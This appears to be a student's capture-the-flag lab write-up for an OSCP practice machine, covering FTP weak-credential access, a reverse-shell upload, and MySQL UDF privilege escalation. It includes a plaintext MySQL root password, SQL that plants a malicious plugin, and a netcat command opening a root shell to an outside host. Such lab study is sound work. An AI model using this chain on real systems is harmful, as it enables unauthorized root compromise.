Enumerastion

2021年7月15日 15:06

1: Use autorecon to enumerate its services, **21, 22, 25, 5432, 8080, 8295** are open
2: **8080** and **8295** are all HTTP services, 8080 can not be accessed by any means, and 8295 does not contain juicy info
3: Sign in FTP, with weak credential **admin:admin**, and it works (It **does not support anonymous login**)
4: It seems that the FTP service **shares the same folder with HTTP**, upload a reverse shell
5: The target has **strict firewall rules**, typical listening port are filtered. Therefore, choose any **common port** such as 21, 22, 25, etc.

Foothold

2021年7月15日 15:07

1: Upload a reverse shell with a **common listening port**, and access the URI
2: Get a reverse shell
3: Move to /home, there is a user folder banzai
4: cat /home/banzai/local.txt, get the flag

Privilege Escalation

2021年7月15日 15:07

1: cat **/var/www/config.php**, it contains **sql's credential**
2: ps aux | grep sql, **mysql** is running with **root** privilege, and it is **running locally**
3: Transfer linenum.sh and linpeas.sh, run them.
4: With my skill level, I am not sure whether previous credential is used for mysql or postgresql. I try both of them and I find it is **used for mysql**
5: Since mysql service is running with root privilege, it can be exploited by abusing **User-Define-Function**. PWK textbook Page **782** describes this exploit.
6: Here we can find compiled payload (https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql), and I can also **compile it by gcc** (https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c).
7: Transfer the payload to the target, give it enough permission: **chmod 777 sqlpe.so**
8: **mysql -u root -pEscalateRaftHubris123**
9: Set up another netcat listener with port 20
10: use mysql;
create table zys(line blob);
insert into zys values(load_file('tmp/sqlpe.so'));
select * from zys into dumpfile '/usr'lib/mysql/plugin/sqlpe.so';
create function sys_exec returns integer soname 'sqlpe.so';
select sys_exec('nc -nv 192.168.49.250 20 -e /bin/bash');
11: Get a root shell
12: car /root/proof.txt

Review

2021年7月15日 15:07

1: Target **FTP**, **HTTP**, **MySQL** (**In order**)
2: Use **weak credentia**l to sign in FTP
3: Find the connection between FTP and HTTP, upload a reverse shell
4: Be aware of **firewall rules** that restrict uncommon ports such as 4444
5: Find credential in **php config** file
6: Identify mysql is **running locally** with **root privilege**
7: Sign in mysql and abuse **UDF** exploit
8: Get root shell with another common port netcat listener